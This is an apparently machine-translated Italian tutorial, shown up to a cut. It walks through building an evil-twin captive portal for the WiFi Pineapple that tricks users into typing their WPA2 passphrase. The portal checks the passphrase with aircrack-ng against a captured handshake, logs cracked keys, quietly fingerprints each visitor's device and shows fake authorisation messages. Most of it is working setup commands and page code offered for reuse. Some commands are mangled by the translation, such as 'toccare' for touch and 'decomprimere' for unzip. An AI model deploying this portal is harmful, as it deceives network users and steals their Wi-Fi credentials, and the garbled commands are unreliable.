Salta il contenuto

Scroll Indicator

Portali ananas wifi con Amec0e

Portale vincolato

Nell'articolo di oggi daremo un'occhiata al modulo captive portal del WiFi Pineapple MK7. Tratteremo l'impostazione e la creazione di un portale vincolante realizzato con un prompt engineering utilizzando ChatGPT, analizzeremo il codice e vi illustreremo il portale che utilizzerà un handshake a 4 vie catturato. Simile al portale vincolato di Airgeddon con Handshake.

Chi sono

L'autore dell'articolo di LAB401 Academy di oggi è Amec0e, ricercatore di sicurezza e giocatore occasionale di CTF.

Nota dell'editore Se questo articolo vi è piaciuto e volete supportare amec0e, considerate di utilizzare il codice AMEC0E alla cassa di Lab401 (o semplicemente fate clic sul link). Otterrete il 5% di sconto su tutti i prodotti (eccetto i prodotti Flipper) e sosterrete amec0e allo stesso tempo!

Introduzione all'ananas WiFi di Hak5 (venduto da lab401)

Oggi parleremo del WiFi Pineapple MK7 prodotto da Hak5 e venduto da Hak5 e LAB401. Si tratta della loro piattaforma di auditing WiFi e del punto di accesso rogue leader che utilizza il loro brevetto PineAP Suit.

Daremo un'occhiata ai portali vincolati e alle domande più scottanti che tutti si pongono.

L'ananas WiFi è ancora utile nel 2024?

Non sono un esperto di ingegneria dei prompt, e durante l'intera creazione di questo progetto ho realizzato molti prompt scadenti e molti buoni. Si noti inoltre che l'elenco non è costituito da prompt da inserire in ChatGPT, ma da elementi e funzioni generali di cui abbiamo bisogno e che non sono elencati in un ordine particolare.

Siete liberi di seguirci e di crearlo man mano (e vi incoraggio a farlo, perché imparerete molto) oppure potete semplicemente scaricare la versione definitiva sul mio repository Github. Tuttavia, che gusto c'è a non imparare qualcosa di nuovo oggi? :D

PS: se state seguendo, prendete un caffè!

Detto questo, iniziamo!

Prerequisiti per il portale vincolato

  • CSS Bootstrap (minimo).
  • bootstrap JS (in bundle).
  • JQuery JS da CDN.
  • Icone Bootstrap.
  • aircrack (dovrebbe essere installato di default).
  • pacchetto unzip.(opkg install unzip)

Prerequisitiopzionali per script aggiuntivi alla fine dell'articolo relativi a MK7:

  • sqlite3-cli
  • libsqlite3
  • airodump-ng (dovrebbe essere installato di default).
  • schermo
  • jq

Bootstrap.min.css e Bootstrap.bundled.min.js

Quindi, prima di prendere questi file, creiamo una cartella per loro nel portale:

NOTA: solo questi file andranno qui, tutto ciò che è personalizzato rimarrà nella cartella principale del portale.

mkdir /root/portals/Airport/css && mkdir /root/portals/Airport/js

Una volta fatto questo, prendiamo i file di bootstrap (per questo sto usando bootstrap 4.3.1):

cd /tmp && wget -O bootstrap.zip https://github.com/twbs/bootstrap/releases/download/v4.3.1/bootstrap-4.3.1-dist.zip

Una volta scaricato, possiamo eseguire unzip:

unzip bootstrap.zip

Ora spostiamo il file bootstrap.min.css:

mv /tmp/bootstrap-4.3.1-dist/css/bootstrap-4.3.1.min.css /root/portals/Airport/css

Ora abbiamo questo, possiamo spostare bootstrap.bundled.min.js:

mv /tmp/bootstrap-4.3.1-dist/js/bootstrap.bundled.min.js /root/portals/Airport/js

JQuery

La versione di JQuery che sto usando qui è in realtà l'ultima (3.7.1 al momento della scrittura), ma possiamo ottenere la versione compressa (min) dal CDN di JQuery:

cd /tmp && wget https://code.jquery.com/jquery-3.7.1.min.js

Una volta scaricata, possiamo spostarla nella cartella js del nostro portale:

mv /tmp/jquery-3.7.1.min.js /root/portals/Airport/js

Ora che abbiamo i file necessari per far funzionare e inizializzare correttamente alcuni elementi della pagina, possiamo procedere con le icone di bootstrap.

Icone di bootstrap

Ora che abbiamo JQuery js, Bootstrap JS e CSS, vogliamo procurarci le icone di bootstrap, perché le useremo anche noi. Iniziamo creando la cartella dei font:

mkdir /root/portal/Airport/fonts

Poi vogliamo ottenere i file delle icone di bootstrap:

cd /tmp && wget -O bootstrap-icons.zip https://github.com/twbs/icons/archive/refs/tags/v1.11.3.zip

Ora dobbiamo decomprimere l'archivio e cambiare directory per copiare i file necessari nella nostra directory dei portali:

decomprimere bootstrap-icons.zip && cd icons-1.11.3/font/

Copiamo quindi i file di cui abbiamo bisogno, ovvero bootstrap-icons.css e due file nella cartella fonts, chiamati boostrap-icons.woff e bootstrap-icons.woff2, e mettiamoli nella nostra nuova cartella fonts:

cp bootstrap-icons.css /root/portals/Airport/css && cp fonts/boostrap-icons.woff /root/portals/Airport/fonts && cp fonts/bootstrap-icons.woff2 /root/portals/Airport/fonts

Ora possiamo ripulire la cartella tmp, se necessario.

cd && rm -rf /tmp/icons-1.11.3/ && rm -rf /tmp/bootstrap-4.3.1-dist/ && rm /tmp/bootstrap.zip && rm /tmp/bootstrap-icons.zip

Ora che questo è stato fatto, dobbiamo modificare il file bootstrap-icons.css per puntare alla posizione delle nostre due icone bootstrap.woff e bootstrap-icons.woff2.

Utilizziamo quindi nano per questo:

nano /root/portals/Airport/css/bootstrap-icons.css

Le righe che vogliamo cambiare sono src: url:.

Prima di

 @font-face { font-display: block; font-family: "bootstrap-icons"; src: url("./fonts/bootstrap-icons.woff2?dd67030699838ea613ee6dbda90effa6") format(" woff2"), url("./fonts/bootstrap-icons.woff?dd67030699838ea613ee6dbda90effa6") format("woff"); }

Dobbiamo modificare questo aspetto aggiungendo semplicemente ../ per tornare indietro di una cartella, il che ci riporterà dalla cartella css/ alla cartella principale del portale, che ci permetterà di trovare fonts/ e i file .woff associati.

Dopo

@font-face { font-display: block; font-family: "bootstrap-icons"; src: url("../fonts/bootstrap-icons.woff2?dd67030699838ea613ee6dbda90effa6") format(" woff2"), url("../fonts/bootstrap-icons.woff?dd67030699838ea613ee6dbda90effa6") format("woff"); }

Questo permetterà al file css di individuare correttamente i file .woff necessari per le icone.

Ora che questo è stato fatto, possiamo passare alla costruzione vera e propria di tutto questo.

Alcune note prima di iniziare.

Non intendo dimostrare come creare una pagina di phishing dall'aspetto realistico, soprattutto contro obiettivi di alto profilo per motivi legali. Creerò invece un portale che avrà come obiettivo l'accesso a una rete wifi, ma sarà anche flessibile perché vogliamo poterlo modificare a seconda delle necessità. Ora, sappiamo che ogni pagina pubblica di un portale vincolato presenta di solito i seguenti elementi: casella del nome, casella dell'e-mail, casella di controllo, link ai T&C, pulsante di accesso/invio, ecc.

Tuttavia, questo portale è stato realizzato pensando alle reti WiFi. Ciononostante, ho incluso nel portale vincolato finale tutti gli elementi che si trovano in un portale vincolato pubblico, ma è necessario modificarlo per adattarlo al vostro obiettivo.

Inizialmente ho usato il modello predefinito di captive portal "mirato", ma ho notato che c'era un problema e altre differenze, per esempio $_SERVER['HTTP_URI'] dovrebbe essere $_SERVER['REQUEST_URI'] proprio come nel modello predefinito "di base". Così come le intestazioni Cache-Control impostate in PHP invece del meta tag HTML.

Esiste anche un'intestazione aggiuntiva deprecata, ma ancora supportata dai browser (per le cache più vecchie): si tratta dell'intestazione HTTP Pragma, utilizzata per il Cache-Control.

Il testo/javascript non è deprecato, tuttavia non è più necessario specificare JavaScript come linguaggio per il tag script. La maggior parte dei browser web utilizza come linguaggio di scripting predefinito JavaScript; un semplice tag script è sufficiente, tuttavia non fa male lasciarlo così com'è.

Come sappiamo, ChatGPT può essere uno strumento utile, ma c'erano ancora alcuni aggiustamenti che dovevo fare lungo il percorso (probabilmente li farete anche voi). Inoltre, ho avuto altri problemi in cui non riusciva a capire perché certe cose avessero colori diversi, creando così codice ridondante, per cui è davvero utile rileggere ciò che ChatGPT sta creando.

Cercate anche di mantenere le richieste brevi e concise, non chiedete troppo in una volta sola, altrimenti è probabile che manchino dei segmenti o che il programma diventi un po' disordinato e inizi a modificare più di quanto richiesto. Se il codice inizia a diventare troppo grande, alimentate solo i segmenti che devono essere modificati.

Vi presento AirPort!

Questo è un nuovo captive portal su cui ho lavorato; l'ispirazione è stata lo script Airgeddon (Air) e più specificamente il captive portal (Port) con handshake. Da qui il nome AirPort. Sono davvero entusiasta, perché ho dovuto trovare un ago in un pagliaio di 16.000 righe di codice per capire come Airgeddon eseguisse il passaggio della password degli utenti ad aircrack. La risposta è stata che forniva l'input dell'utente come file wordlist, che ovviamente conteneva una sola voce. Questo significa che memorizzava l'input dell'utente in un file sul sistema da utilizzare per le interrogazioni, e da lì ho cercato di fare lo stesso.

Questo portale utilizza alcuni script php diversi. Questi script prendono la password inserita nel modulo e la memorizzano in un file, dopodiché eseguono aircrack-ng con l'input dell'utente salvato nel file e lo confrontano con un handshake che abbiamo catturato in precedenza con airodump-ng.

Se l'handshake viene decifrato con successo, i risultati vengono inviati con la riga "KEY FOUND" (dopo una certa pulizia) in un file chiamato /tmp/airport_creds_tmp.txt. Viene quindi eseguito un controllo successivo per assicurarsi che la password sia stata decifrata con successo e copia il file in /root/airport_loot.txt. Un altro script php controlla il contenuto del file alla ricerca della dicitura "KEY FOUND" e se questa viene trovata l'utente viene reindirizzato alla pagina correct.php.

Se invece la password è sbagliata, il file aircrack output sarà vuoto, il che significa che lo script php non troverà KEY FOUND e quindi reindirizzerà l'utente alla pagina incorrect.php.

La costruzione

Come ho detto, questo portale utilizza alcuni script PHP e un file js esterno, un file css e uno script bash per eseguire il cracking dell'handshake.

NOTA: per qualche motivo il portale non ha voluto fare il bravo quando ho organizzato i nostri file personalizzati in directory e sottodirectory, quindi tutti i nostri file personalizzati e le immagini dovrebbero trovarsi nella directory principale del portale (/root/portals/Airport/) nel nostro caso. NON mettere nessuno di questi file da nessun'altra parte (quelli creati che stiamo per creare).

Ora, queste non sono richieste da inserire in ChatGPT, ma sono cose che dobbiamo semplicemente aggiungere per ottenere l'aspetto, l'atmosfera e la funzione che vogliamo.

Creare Default.php:

  • Una scheda Bootstrap con bordi arrotondati e un'ombra.
  • Un titolo nel corpo della scheda con un testo più piccolo sotto il titolo.
  • Un pulsante di accesso.
  • Casella di inserimento della password.
  • Aggiungere gli stili al pulsante di accesso, con i pulsanti evidenziati dello stesso colore e il testo bianco.
  • Sotto il pulsante di accesso, allineato a sinistra nel corpo della scheda, un piccolo messaggio di errore grigio che presenta un messaggio falso come "STATUS: ERR_AUTH_FAILED".
  • Allineato a destra in piccolo sulla stessa riga del messaggio di errore, un popover bootstrap "Perché è successo questo?" con js per inizializzarlo con un titolo di Login e un testo con hello world come segnaposto.
  • Un iframe nascosto a cui inviare la richiesta, che ci permetta di mantenere l'utente sulla stessa pagina.
  • Vogliamo assicurarci di non memorizzare nella cache nessuna delle pagine utilizzando PHP e HTML.
  • Vogliamo creare due nuovi file per gli stili js e css (func.js, style.css) e includerli in default.php.
  • Vogliamo anche un messaggio di caricamento quando viene cliccato il pulsante di accesso, per consentire agli script di terminare l'esecuzione prima di essere controllati. Questo assicura che l'utente sia consapevole di aver premuto login.
  • Aggiungere il bi-eye-fill di bootstrap al campo password.
  • Vogliamo aggiungere un campo Mac del client simile al messaggio di errore di stato che visualizza l'indirizzo mac del client.
  • Aggiungere un'immagine sopra il login sulla scheda per consentire l'inserimento di un logo in default.php e incorrect.php.
  • Aggiungere un piccolo blocco di codice php per ESSID per il titolo della scheda in default.php. (Soluzione per l'impossibilità di ottenere l'SSID connesso in alcuni casi).
  • Aggiungere un campo di input nascosto per la funzione useragent definita in helper.php.
  • Aggiungere il completamento automatico al campo della password per consentire agli utenti (sui dispositivi touch) di toccare due volte il campo della password e visualizzare il "riempimento automatico".
  • Aggiunta di una casella di controllo per la visualizzazione di un messaggio ACL Allow List in correct.php.
  • Aggiungere 5 nuovi campi di input nascosti per raccogliere informazioni sul sistema utilizzando le funzioni in func.js (GSR, GOS, GWB, GAT e GCC).

Creare Func.js

  • Funzione di reindirizzamento per avviare la catena di controllo, che aggiungerà anche il parametro ACLAllow se la casella di controllo è selezionata.
  • Funzione GoBack per la pagina incorrect.php.
  • run_test Funzione per effettuare una richiesta POST con la password a run_test.php per l'elaborazione.
  • funzione submitForm per visualizzare un messaggio di caricamento di bootstrap, eseguendo immediatamente la funzione run_test e ritardando la funzione di reindirizzamento di 2 secondi.
  • funzione togglePassword per inizializzare le icone di bootstrap bi-eye-fill.
  • Inizializzazione del popover di Bootstrap.
  • Funzione GSR per ottenere la risoluzione dello schermo dell'utente.
  • Funzione GWB per ottenere il browser Web dell'utente.
  • Funzione GOS per ottenere il sistema operativo dell'utente.
  • Funzione GAT per ottenere il tipo di architettura dell'utente.
  • Funzione GCC per ottenere il numero di processori logici dell'utente.

Creare Style.css

  • Vogliamo aggiungere un'immagine di sfondo al file css e specificare il corpo html. In questo modo l'immagine di sfondo si trova dietro tutti gli altri elementi.
  • Vogliamo creare uno stile per il contenitore.
  • Vogliamo dare uno stile al pulsante.
  • Vogliamo creare uno stile per il colore del testo.
  • Vogliamo creare lo stile del corpo della scheda
  • E vogliamo anche creare uno stile per la scheda stessa.
  • Vogliamo anche aggiungere alcune transizioni ed effetti di filtro.

Creare Auther.sh

  • Aggiungere una variabile BSSID.
  • Aggiungere una variabile Capture Location.
  • Aggiungere una variabile Temp_Attempt.
  • Aggiungere una variabile Temp_Creds.
  • Aggiungere una variabile Loot_File.
  • Eseguire aircrack con le variabili richieste.
  • Cercare KEY Found.
  • Eliminare i caratteri di fuga ANSI.
  • Emettere il risultato in Temp_Creds.
  • Aggiungere un'istruzione If per verificare se il file creds contiene qualcosa (password craccata) e, in caso affermativo, copiarlo nella directory principale per evitare di sovrascriverlo a un successivo tentativo di password errata.

Creare run_Test.php

  • Ottenere la password dalla richiesta del modulo e salvarla in un file chiamato /tmp/airport_attempt_tmp.txt.
  • Eseguire il nostro script bash.
  • Definire le pipe per stdin, stdout e stderr.
  • Aprire il processo.
  • Pulire (chiudere le pipe e il processo).
  • Gestione dei piccoli errori.

Creare Checking.php

  • Definire il percorso del file per le password da controllare. (airport_creds_tmp.txt).
  • Aprire il file.
  • Visualizzare il messaggio di autorizzazione al centro dello schermo.
  • Leggere il file e verificare la presenza di "KEY FOUND".
  • Se il termine di ricerca è stato trovato, viene generato un javascript nella pagina per gestire il reindirizzamento dopo 1 secondo alla pagina correct.php.
  • Se il termine non è corretto, viene generato un javascript per passare a incorrect.php.
  • Aggiungere un controllo per il parametro checkbox da default.php e scrivere "true" in /tmp/airport_aclallow.txt.
  • Scrivere un altro file chiamato /tmp/airport_rueay.txt con il valore "true" se la password è corretta.
  • Vogliamo applicare le stesse intestazioni Cache-Control di default.php anche qui, così come di correct e incorrect.php.

Creare Incorrect.php

  • Vogliamo aggiungere il file di stile e func.js alla pagina incorrect.php.
  • Molto del codice precedente sarà tratto dalle fondamenta che abbiamo creato in precedenza. La maggior parte è da aggiungere alla rimozione.
  • Regolare il Cache-Control in modo che corrisponda a default.php

Creare Correct.php

  • Possiamo usare la pagina incorrect.php e rimuovere il pulsante Torna indietro e il messaggio del popover.
  • Vogliamo aggiungere un nuovo messaggio sotto il messaggio di stato con il mac del cliente e un messaggio falso che gli dice che il suo mac è stato aggiunto a una lista di ACL Allow, ottenendo il valore memorizzato in /tmp/airport_aclallow.txt.
  • Includere qui il func.js.
  • Aggiungere un tag style con uno stile personalizzato per questa pagina (non abbiamo bisogno di molto stile per questo).
  • Mitigare un problema di accesso diretto che causa l'autenticazione dell'utente al portale senza inserire le credenziali. Questa mitigazione consiste nel verificare che il file /tmp/airport_rueay.txt sia "true" e che l'intestazione del referer sia "/checking.php".
  • Aggiungere la funzione auth_success (opzionale).
  • Aggiungere un controllo per il file ACLAllow, per determinare se visualizzare o meno il falso messaggio ACL (dando al nostro checkbox una funzione effettivamente funzionante).
  • Regolare Cache-Control per rendere default.php.

Creare Visited.php

  • Definire le variabili per ssid, mac, hostname, ip, ua, directory e percorso del file.
  • Verificare che la richiesta corrente sia un metodo GET.
  • Controllare che il file esista.
  • Se il file non esiste, crearlo.
  • Eseguire il comando "pineutil notify".

MyPortal.php

  • Apportare modifiche a MyPortal.php per regolare un solo campo (quello della password) e non quello dell'email, nonché per regolare la registrazione.
  • Aggiungere anche stringhe heredoc per il file_put_contents per una migliore leggibilità in MyPortal.
  • Aggiungere variabili per la data, l'agente utente, il browser web, la risoluzione dello schermo, il sistema operativo, il tipo di architettura e il conteggio della cpu in MyPortal.php per la registrazione.
  • Modificare il messaggio di notifica.

Spero di non aver tralasciato nulla!

Toccare Style.css e func.js

Per prima cosa dobbiamo creare i due file da modificare; qui userò semplicemente il terminale per crearli.

toccare /root/portals/Airport/style.css toccare /root/portals/Airport/func.js

Creare Default.php

Qui creeremo la pagina predefinita che l'utente vedrà inizialmente; cercherò di scomporre un po' il codice man mano che procediamo. Scomporrò il codice dall'alto verso il basso e fornirò gli snippet di codice sotto la scomposizione a cui appartengono. Per essere sicuri che stiamo guardando allo stesso modo.

$destinazione = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; - Qui impostiamo la variabile "destination", concateniamo "http://" con l'HTTP_HOST (l'IP dei visitatori assegnato da Pineapple) e il REQUEST_URI (la pagina corrente in cui ci troviamo) e lo memorizziamo come valore di "destination".

require_once('helper.php'); - Qui usiamo require_once invece di require per includere la pagina helper.php solo una volta, se il file non viene trovato o c'è un errore lo script si arresta.

require_once('visited.php'); - Qui facciamo come sopra, ma includiamo la nostra pagina "visited.php", che sarà creata dopo le regolazioni di MyPortal.php. Questa pagina mostrerà una notifica alla WebUI con alcune informazioni sull'obiettivo, in modo da sapere quando qualcuno è caduto nella trappola.

header("Cache-Control: no-store, no-cache, must-revalidate"); - Qui impostiamo un header per il Cache-Control con le seguenti direttive, no-store, no-cache, must-revalidate.

header("Pragma: no-cache"); - Qui si imposta l'intestazione Pragma per Cache-Control, deprecata ma ancora supportata. Viene utilizzato per la retrocompatibilità con le cache HTTP/1.0.

header("Expires: 0"); - Qui si imposta l'header Expires, se la direttiva max-age=0 è inclusa nella risposta, Expires viene ignorato.

$essid = "Airport WiFi 6"; - Qui impostiamo la variabile essid per mostrare l'ESSID che inseriamo manualmente per il nostro obiettivo (il motivo per cui l'ho impostato staticamente è che ho riscontrato problemi con l'ESSID che non viene mostrato quando il Captive Portal è in esecuzione).

<?php $destinazione = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); require_once('visited.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; ?>

Continuiamo con la prossima parte di codice:

<iframe name="login" id="login" style="display: none;"></iframe> - Qui impostiamo un iframe invisibile e indirizzabile usando un id di "login" e lo stile con display: none;.

<iframe name="login" id="login" style="display: none;"></iframe>

Proseguiamo con il prossimo pezzo di codice:

<!DOCTYPE html> - Qui impostiamo la dichiarazione HTML DOCTYPE, che informa il browser del tipo di contenuto che viene caricato. Tutti i documenti HTML devono iniziare con una dichiarazione DOCTYPE.

<html lang="en"> - Qui si informa il browser sul tipo di lingua in cui è scritto il contenuto. "en" sta per inglese.

<head> - Il tag HTML Head è un contenitore di metadati, collocato tra un tag html e un tag body.

<meta charset="UTF-8"> - Qui si usa un meta tag che utilizza charset per indicare al browser il set di caratteri da utilizzare.

<meta name="viewport" content="width=device-width, initial-scale=1"> - Qui impostiamo il viewport che viene utilizzato per il web design reattivo (design per cellulari e tablet). Utilizziamo anche width=device-width, che significa il 100% della larghezza del viewport, e initial-scale per controllare il livello di zoom.

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> - Qui usiamo un meta tag con la direttiva http-equiv per impostare l'intestazione Cache-Control in HTML5. Questo è simile a quello che abbiamo fatto in precedenza in un blocco di codice PHP.

<meta http-equiv="Pragma" content="no-cache" /> - Qui impostiamo nuovamente l'intestazione Pragma per il controllo della cache con le cache HTTP/1.0.

<meta http-equiv="Expires" content="0" /> - Qui impostiamo l'intestazione HTTP Expires anche per il Controllo cache.

<link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> - Qui usiamo un tag di collegamento per specificare la relazione tra il documento corrente e una risorsa esterna, che nel nostro caso include i css di bootstrap.

<link rel="stylesheet" href="/css/bootstrap-icons.css"> - Questo è proprio come sopra. Include le icone di bootstrap.

<script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> - Qui si usa un elemento script con src, dove si specifica un URI per uno script esterno da includere nella pagina. Il "type" è un tipo di mime utilizzato per indicare ai browser il linguaggio dei tag di script. In HTML5 JavaScript è il linguaggio di scripting predefinito. Includiamo il file JavaScript di JQuery per consentire il funzionamento di alcune funzioni.

<script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> - Come sopra, ma qui includiamo il file JavaScript di Bootstrap per aiutare alcuni elementi e funzioni di bootstrap.

<link rel="stylesheet" href="/it/style.css"> - Come l'elemento di collegamento precedente, questo include il nostro file css personalizzato per stili specifici.

<script type="text/javascript" src="/func.js"></script> - Proprio come l'elemento script precedente, includiamo il nostro file func.js che includerà alcuni JavaScript lato client.

<title><?= $essid ?></title> - Qui specifichiamo il titolo della pagina web, perché si trova nel tag head. Utilizziamo PHP per richiamare il valore della variabile "essid", impostata all'inizio del blocco di codice PHP.

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <link rel="stylesheet" href="/css/bootstrap-icons.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/it/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head>

Passando all'elemento body, molti di questi elementi div servono esclusivamente per lo styling:

<body> - Qui inizia l'elemento body, che contiene il contenuto della pagina.

<div class="container mt-5"> - Qui utilizziamo una classe div con gli stili css container e mt-5.

div class="form-row justify-content-center"> - Qui utilizziamo un altro div con le classi form-row e justify-content-center.

<div class="col-md-6"> - Qui utilizziamo un altro elemento div con la classe col-md-6. Si tratta di un mix di griglia e spaziatura Bootstrap.

<div class="card rounded-lg border-light shadow"> - Un altro elemento div usato per lo styling; qui usiamo card con rounded-lg, border-light e shadow per generare l'aspetto desiderato.

<div class="card-body text-center"> - Ancora un elemento div per lo styling, usiamo card-body e text-center.

<img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> - Qui includiamo il logo del portale utilizzando un elemento HTML img. Lo stile è un mix di CSS standard e Bootstrap img-fluid, mb-6, max-width, max-height, object-fit e contain.

<h3 class="card-title text-center"><?= $essid; ?></h3> - Qui usiamo l'elemento HTML heading con le classi card-title e text-center, inoltre usiamo il codice PHP per ottenere il valore "essid" come abbiamo fatto prima.

<p class="text-center small mb-5">Sembra che sia necessario essere autorizzati a utilizzare questo punto di accesso wireless.</p> - Qui utilizziamo un elemento paragrafo per visualizzare un messaggio all'utente in testo ridotto. Small è proprio come il tag HTML "small", ma Bootstrap consente di specificarlo in una classe semplicemente usando small.


<body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center"><?= $essid; ?></h3> <p class="text-center small mb-5">Sembra che tu debba essere autorizzato a utilizzare questo punto di accesso wireless.</p>

Passiamo ora al modulo:

<form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> - Qui usiamo un elemento form per impostare alcune cose, il metodo di richiesta "POST", l'azione (pagina a cui inviare la richiesta), un'azione da eseguire usando "onsubmit", inoltre puntiamo al nostro iframe e diamo al form l'"id" loginForm per aiutarci a identificare il form se ne abbiamo bisogno. La differenza tra submit e onsubmit è che "onsubmit" ci consente di eseguire direttamente una funzione senza dover aggiungere un ascoltatore di eventi.

<div class="form-group text-left mb-4"> - Qui usiamo un'altra classe div per lo styling usando form-group, text-left e mb-4.

<label for="password">Passphrase:</label> - Qui usiamo un elemento label per l'input della password usando for, che ci permette di visualizzare la parola "Passphrase:" sopra l'input della password stessa.

<div class="input-group"> - Qui utilizziamo un'altra classe div per input-group, che ci consente di estendere i controlli del modulo.

<input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> - Qui utilizziamo l'elemento input con il "tipo" di password, che consente di nascondere l'input dell'utente durante la digitazione. Utilizziamo la classe form-control con un "id" di "password" e un nome di "password". Utilizziamo anche un attributo segnaposto con "WPA Passphrase", il completamento automatico con la password corrente per consentire il riempimento automatico. Utilizziamo anche required per garantire che l'utente debba digitare qualcosa.

<div class="input-group-append"> - Qui utilizziamo il div con la classe input-group-append, che fa parte di "input-group" e ci consente di aggiungere testo, icone ecc. al modulo per un modulo più accattivante.

<span class="input-group-text"> - Qui utilizziamo il tag dell'elemento span con il controllo del modulo "input-group-text".

<i id="showPasswordIcon" class="bi-eye-fill" onclick="togglePassword()"></i> - Qui visualizziamo la nostra icona bi-eye Bootstrap, utilizzando un elemento di testo idiomatico, con l'"id" di "showPasswordIcon" e un gestore di eventi onclick per eseguire direttamente una funzione al clic del mouse dell'utente.

                       <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase:</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="Passphrase WPA2" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div> </div> </div>

Continuiamo qui con il resto del modulo:

<div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> - Qui impostiamo un elemento div vuoto, che sarà il punto di riferimento della funzione JS "loading-message". I caratteri "text-center", "mt-3", "mb-3" e font-weight-bold servono solo a dare stile al messaggio di caricamento. Possiamo anche specificare alcuni colori utilizzando, ad esempio, "text-muted".

<input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> - Qui stiamo usando un elemento di input con il tipo impostato come "hidden" e il "nome" come "ssid", l'attributo "value" sta richiamando una funzione php "getClientSSID" all'interno di helper.php utilizzando la variabile PHP SERVER con "REMOTE_ADDR" che ci consente di ottenere l'SSID del cliente connesso (il nostro ESSID di trasmissione). Sebbene sia ancora presente e specificato, il più delle volte non funziona correttamente per visualizzare l'ESSID, quindi ho aggiunto un workaround manuale.

<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> - Qui funziona esattamente come sopra, tranne che per ottenere il nome host del client connesso.

<input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> - Qui si ottiene l'indirizzo MAC dei client connessi.

<input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> - Qui si cerca di ottenere l'indirizzo IP del client connesso.

<input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> - Qui usiamo htmlspecialchars per ottenere il valore di "HTTP_USER_AGENT", che viene memorizzato nei log all'invio dei moduli.

<input type="hidden" id="SR" name="SR" value=""> - Qui impostiamo un campo di input vuoto con l'id e il nome "SR" (risoluzione dello schermo), che sarà compilato dal codice lato client all'interno del func.js. Questi sono tutti costruiti dall'interprete.

<input type="hidden" id="OS" name="OS" value=""> - Come sopra, ma per ottenere il sistema operativo dell'utente.

<input type="hidden" id="WB" name="WB" value=""> - Come sopra, ma per il browser web dell'utente (es. firefox, chrome, ecc.).

<input type="hidden" id="AT" name="AT" value=""> - Come sopra, ma per il tipo di architettura del sistema dell'utente.

<input type="hidden" id="CC" name="CC" value=""> - Anche in questo caso si tratta della stessa cosa di cui sopra, ma per i core della cpu dell'utente.

<script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script> - Qui si eseguono le funzioni lato client per compilare i valori di cui sopra.

<button type="submit" class="btn btn-orange btn-block text-white">Login</button> - Il vero MVP qui, il pulsante di invio, dove usiamo le classi btn, btn-orange e text-white per lo stile. Il btn-orange è un nome di classe personalizzato, che si potrebbe chiamare btn-helloworld, se si vuole.

<div class="form-group form-check text-left mt-2"> - Un altro elemento div usato per lo styling, utilizzando form-group, form-check, text-left e mt-2.

<input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> - Qui abbiamo aggiunto una casella di controllo con la classe form-check-input con l'id e il nome di ACLAllow per poterla indirizzare in seguito con una funzione JS. Abbiamo anche impostato il valore a 0 (cioè non selezionato per impostazione predefinita).

<label class="form-check-label" for="ACLAllow">Add MAC to ALC Allow List</label> - Questa è l'etichetta per la casella di controllo ACLAllow, che visualizza il messaggio a destra della casella di controllo.

                           <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value="">
                            <input type="hidden" id="AT" name="AT" value=""> <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR(); GOS(); GWB(); GAT(); GCC();</script>
                            <button type="submit" class="btn btn-orange btn-block text-white">Login</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">Aggiungi il MAC all'elenco dei permessi ALC</label> </div> </form>

Ora la parte finale del file default.php:

